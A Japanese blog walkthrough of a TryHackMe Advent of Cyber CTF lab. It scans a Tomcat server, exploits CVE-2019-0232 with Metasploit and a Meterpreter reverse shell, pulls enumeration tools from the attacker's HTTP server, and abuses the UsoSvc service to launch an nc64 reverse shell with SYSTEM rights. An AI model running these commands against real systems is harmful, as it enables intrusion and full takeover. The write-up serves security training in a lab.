0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

[TryHackMe] Advent of Cyber 2, Day 12 - Walkthrough -

Last updated at Posted at 2020-12-13

本稿では、TryHackMeにて提供されている「Advent of Cyber 2」ルームに関する攻略方法(Walkthrough)について検証します。
「Advent of Cyber 2」は「free room」(無料)で提供されています。購読を必要とせずに仮想マシンを「展開(Deploy)」することができます。

『Advent of Cyber 2』のWalkthroughインデックスを「[TryHackMe] Advent of Cyber 2に参加してみた」にて公開しました。

[Day 12] Networking: Ready, set, elf.

ストーリー

Day12.png

クリスマスが間近に迫っていますが、**The Best Festival Company(TBFC)**では皆が沈黙しています。何をしているのでしょうか。祭りの時期に怠けている妖精たちの頬!サンタさんの仕事場では怠け者のための時間はありません。そりが満杯になることもないし、善人と悪人のリストも整理されない。サンタさんは、エルフ・McEagerに怠け者のエルフをラインに戻すよう命じました。

チャレンジ

仕事場で怠けているエルフ・McSkidyの問題を解決するために、彼はCGIスクリプト elfwhacker.bat を作成しました。

このタスクに関連付けられたインスタンスをデプロイし、「Day 8 - What's Under the Christmas Tree?」で習得したnmapのスキルを使用して、Webサーバ(MACHINE_IP)がどのポートで実行されているかを確認します...。アプリケーションにアクセスして、インストールバージョンを特定し、ナレッジベースでエクスプロイトとMeterpreterペイロードを検索することで、この情報を武器化し、それらでエルフを叩きます!

ボーナス

エントリーを取得した後、特権にエスカレートする方法は少なくとも2つあります。これらを見つけ出して、自由にピポットしてください!

Day 12 - #1.

What is the version number of the web server?

IPアドレス MACHINE_IPtbfc.webとして、/etc/hostsに追加します。その上で、nmapを使用し、ポートスキャンを実行します。

kali@kali:~$ nmap -Pn -T4 -A -vv tbfc.web
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-12 23:34 EST
Nmap scan report for tbfc.web (10.10.194.22)
Host is up, received user-set (0.29s latency).
Scanned at 2020-12-12 23:34:24 EST for 127s
Not shown: 997 filtered ports
Reason: 997 no-responses
PORT     STATE SERVICE            REASON  VERSION
3389/tcp open  ssl/ms-wbt-server? syn-ack
| rdp-ntlm-info: 
|   Target_Name: TBFC-WEB-01
|   NetBIOS_Domain_Name: TBFC-WEB-01
|   NetBIOS_Computer_Name: TBFC-WEB-01
|   DNS_Domain_Name: tbfc-web-01
|   DNS_Computer_Name: tbfc-web-01
|   Product_Version: 10.0.17763
|_  System_Time: 2020-12-13T04:36:26+00:00
| ssl-cert: Subject: commonName=tbfc-web-01
| Issuer: commonName=tbfc-web-01
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-11-27T01:29:04
| Not valid after:  2021-05-29T01:29:04
| MD5:   00ab 1b83 e8e5 f516 f148 d602 2dea 18f4
| SHA-1: bd1d 6535 5d3c 80a3 8a5f 98dd 8f98 44ee 9320 509e
| -----BEGIN CERTIFICATE-----
| MIIC2jCCAcKgAwIBAgIQOyiq2CSH3LdOGa2wARDCfTANBgkqhkiG9w0BAQsFADAW
| MRQwEgYDVQQDEwt0YmZjLXdlYi0wMTAeFw0yMDExMjcwMTI5MDRaFw0yMTA1Mjkw
| MTI5MDRaMBYxFDASBgNVBAMTC3RiZmMtd2ViLTAxMIIBIjANBgkqhkiG9w0BAQEF
| AAOCAQ8AMIIBCgKCAQEAxWQ0kuM5lP6UP6/KtuBNHyu/xFO8H1jG+YVc+srrYdVl
| EgUgMuDrj+mcejNw+2jKEZc4hfMiEGzFtfUypmJjW6WadscyP/uxcKGyPEU4o33M
| V38Quzp6CRe5BpCbtOAMXJ99hmaRFBzh5z4HmPYMhsmRceam1CMx6GtTyY8pjTgn
| yxTLSSvWdg92PB5FCxylTPDIlCpLYac4fFeqVnTvugWZ882PbWHHRN4nAxsU0mnv
| CQpH5r7zr8GTTc+fG9j3jPQcxP1I/GO5s117lq2iyIK/x1S1ZpbeuceqtDIlPUM0
| lVfNp/LxqqrkjBRyn0bR+ftNAtdK28NrX87oLsgVHQIDAQABoyQwIjATBgNVHSUE
| DDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQELBQADggEBABrI
| X16ql60/xDz/hyTb6M6lcXC9UZqug7mJ0DwffL3tYTlNmde/wFcY3Xj7+GgCoSKc
| SVy5D2DeOWOTWrQ4miSqVp1DwmhCSjpJyDOy+Ns+sQLtU2WAHTecmOHjo3IES9N5
| W0kf8XLH88SEEJ9iWGNapMdPXghC6ZgtiGmvX+ODyLjiAwydgaTW3wtuxvPmxfXM
| +2rZYgUBEi5Kk05pcfsBCiF+WHGhNSMdqbX6vCwj/VNemuhQvlTAJxCjXnJ1KXMd
| 8dNb/eirXjvweNrpe71ZO8n1Vn44ItIyY4+5uPSSHdA/bb5BdpVWUDUSxSNCv+G0
| 0idfFvU5QMfmTqzONik=
|_-----END CERTIFICATE-----
|_ssl-date: 2020-12-13T04:36:31+00:00; 0s from scanner time.
8009/tcp open  ajp13              syn-ack Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http               syn-ack Apache Tomcat 9.0.17
|_http-favicon: Apache Tomcat
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache Tomcat/9.0.17

Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: 0s

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:36
Completed NSE at 23:36, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:36
Completed NSE at 23:36, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:36
Completed NSE at 23:36, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 127.78 seconds

Webサーバが8080ポートにて稼働していることが特定できました。
ApacheTomcat.png

[チャレンジ]に記載のCGIスクリプトelfwhacker.batの動作を確認してみます。

http://tbfc.web:8080/cgi-bin/elfwhacker.bat

elfwhacker.png

Day 12 - #2.

What CVE can be used to create a Meterpreter entry onto the machine? (Format: CVE-XXXX-XXXX)

searchsploitコマンドを使って、Exploit-DBに掲載されているexploitコードを検索してみます。

kali@kali:~$ searchsploit -w tomcat 9.0
-------------------------------------------------------------------------------------------------------------- --------------------------------------------
 Exploit Title                                                                                                |  URL
-------------------------------------------------------------------------------------------------------------- --------------------------------------------
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (1)  | https://www.exploit-db.com/exploits/42953
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2)  | https://www.exploit-db.com/exploits/42966
Tomcat proprietaryEvaluate 9.0.0.M1 - Sandbox Escape                                                          | https://www.exploit-db.com/exploits/47892
-------------------------------------------------------------------------------------------------------------- --------------------------------------------
Shellcodes: No Results

3つの候補がヒットしました。しかしながら、これらはいずれも正解ではありません。

行き詰まったので[Question Hint]を参照してみました。

Day12-2_Hint.png

ヒントを頼りに再びsearchsploitで検索してみます。

kali@kali:~$ searchsploit -w Tomcat CGI
-------------------------------------------------------------------------------------------------------------- --------------------------------------------
 Exploit Title                                                                                                |  URL
-------------------------------------------------------------------------------------------------------------- --------------------------------------------
Apache Tomcat - CGIServlet enableCmdLineArguments Remote Code Execution (Metasploit)                          | https://www.exploit-db.com/exploits/47073
AWStats 6.x - Apache Tomcat Configuration File Arbitrary Command Execution                                    | https://www.exploit-db.com/exploits/35035
-------------------------------------------------------------------------------------------------------------- --------------------------------------------
Shellcodes: No Results

どうやらそれらしきExploitを特定することができました。

exploitdb.png

今回の場合、CVE Detailsを使った方が、正解にたどり着きやすかったのかもしれません。
CVEDetails.png

EDB-ID: CVE:
42953 2017-12615
42966 2017-12617
47892 N/A
47073 2019-0232

Day 12 - #3.

Set your Metasploit settings appropriately and gain a foothold onto the deployed machine.

攻撃モジュールの検索

Metasploit FrameworkにてEDB-ID: 47073に該当するコードを検索してみます。

kali@kali:~$ msfconsole -q
msf5 > search CVE-2019-0232

Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ----                                         ---------------  ----       -----  -----------
   0  exploit/windows/http/tomcat_cgi_cmdlineargs  2019-04-10       excellent  Yes    Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability

攻撃モジュールの設定

useコマンドで先ほど検索したexploit/windows/http/tomcat_cgi_cmdlineargsモジュールの使用を宣言します。
宣言に成功すると、プロンプトがmsf5 exploit(windows/http/tomcat_cgi_cmdlineargs) >に変わります。
モジュールで設定すべき項目をshow optionsコマンドにて確認します。
このうち、[Required][yes]になっている項目は設定必須項目です。

値を設定するにはsetコマンドを使用します。

msf5 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > show options

Module options (exploit/windows/http/tomcat_cgi_cmdlineargs):

   Name       Current Setting          Required  Description
   ----       ---------------          --------  -----------
   Proxies                             no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.46.5               yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8080                     yes       The target port (TCP)
   SSL        false                    no        Negotiate SSL/TLS for outgoing connections
   SSLCert                             no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /cgi-bin/elfwhacker.bat  yes       The URI path to CGI script
   VHOST                               no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.11.19.198     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Apache Tomcat 9.0 or prior for Windows

攻撃モジュールの実行

exploitコマンドにて、エクスプロイトコードを実行します。
exploit.png

攻撃端末にてtbfc.webシステムのコマンドを実行するには、shellを使用します。これにて自由にコマンドを実行することが可能です。

meterpreter > shell
Process 3792 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin>

Day 12 - #4.

What are the contents of flag1.txt

flag1.txtC:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-binディレクトリに配置されています。

C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 4277-4242

 Directory of C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin

13/12/2020  12:38    <DIR>          .
13/12/2020  12:38    <DIR>          ..
19/11/2020  21:39               825 elfwhacker.bat
19/11/2020  22:06                27 flag1.txt
13/12/2020  12:38            73,802 Wpuzr.exe
               3 File(s)         74,654 bytes
               2 Dir(s)  13,492,957,184 bytes free

C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin>type flag1.txt
type flag1.txt
thm{whac{BLOCKED}lves}

Day 12 - #5.

Looking for a challenge? Try to find out some of the vulnerabilities present to escalate your privileges!

WinPEAS - Windows Privilege Escalation Awesome Scripts」ツールを使ってシステム探索を行います。

システム探索: WinPEAS

tbfc.webwinPEASx64.exeを送信します。
まず、攻撃端末にてSimpleHTTPServerを立ち上げます。

kali@kali:~/OffsecVM/bin/win$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
10.10.167.174 - - [13/Dec/2020 09:21:01] "GET /winPEASx64.exe HTTP/1.1" 200 -

tbfc.webにてpowershellを起動し、攻撃端末からwinPEASx64.exeをダウンロードします。

c:\>mkdir temp
mkdir temp
A subdirectory or file temp already exists.

c:\>cd temp
cd temp

c:\temp>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\temp> Invoke-WebRequest "http://10.11.19.198:8080/winPEASx64.exe" -OutFile "winPEASx64.exe"
Invoke-WebRequest "http://10.11.19.198:8080/winPEASx64.exe" -OutFile "winPEASx64.exe"
PS C:\temp> exit
exit

c:\temp>

winPEASx64.exeを実行します。

WinPeas.png

  [?] Windows vulns search powered by Watson(https://github.com/rasta-mouse/Watson)
    OS Build Number: 17763
       [!] CVE-2019-1315 : VULNERABLE
        [>] https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html

       [!] CVE-2019-1385 : VULNERABLE
        [>] https://www.youtube.com/watch?v=K6gHnr-VkAg

       [!] CVE-2019-1388 : VULNERABLE
        [>] https://github.com/jas502n/CVE-2019-1388

       [!] CVE-2019-1405 : VULNERABLE
        [>] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/                                                                                                    

    Finished. Found 4 potential vulnerabilities.

システム探索: PowerUp

同様に「PowerUp.ps1」スクリプトを攻撃端末からダウンロードして、システム探索を行います。

PS C:\temp> Import-Module c:\temp\PowerUp.ps1
Import-Module c:\temp\PowerUp.ps1
PS C:\temp> .\powerup.ps1
.\powerup.ps1
PS C:\temp> Invoke-AllChecks
Invoke-AllChecks

[*] Running Invoke-AllChecks
[+] Current user already has local administrative privileges!


[*] Checking for unquoted service paths...


[*] Checking service executable and argument permissions...


ServiceName    : PsShutdownSvc
Path           : C:\Windows\PSSDNSVC.EXE
ModifiableFile : C:\Windows\PSSDNSVC.EXE
StartName      : LocalSystem
AbuseFunction  : Install-ServiceBinary -ServiceName 'PsShutdownSvc'

特権昇格:UsoSvcサービス

[*] Checking service permissions...項目に注目します。
SYSTEM特権で実行されているUsoSvc(Update Orchestrator Service)の変更が可能であることに着目してください。

[*] Checking service permissions...

ServiceName   : UsoSvc
Path          : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -ServiceName 'UsoSvc'

UsoSvcサービスを再構成します。nc64.exeを起動しSYSTEM特権のリバースシェルを確立することが狙いです。

PS C:\temp> Invoke-ServiceAbuse -ServiceName 'UsoSvc' -Command 'C:\temp\nc64.exe -e cmd.exe 10.11.19.198 5555'
Invoke-ServiceAbuse -ServiceName 'UsoSvc' -Command 'C:\temp\nc64.exe -e cmd.exe 10.11.19.198 5555'
kali@kali:~$ nc -lnvp 5555
listening on [any] 5555 ...
connect to [10.11.19.198] from (UNKNOWN) [10.10.31.160] 49852
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>hostname && whoami
hostname && whoami
tbfc-web-01
nt authority\system

C:\Windows\system32>

whoami.png

参考になるTryHackMeのルーム

Walkthrough

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?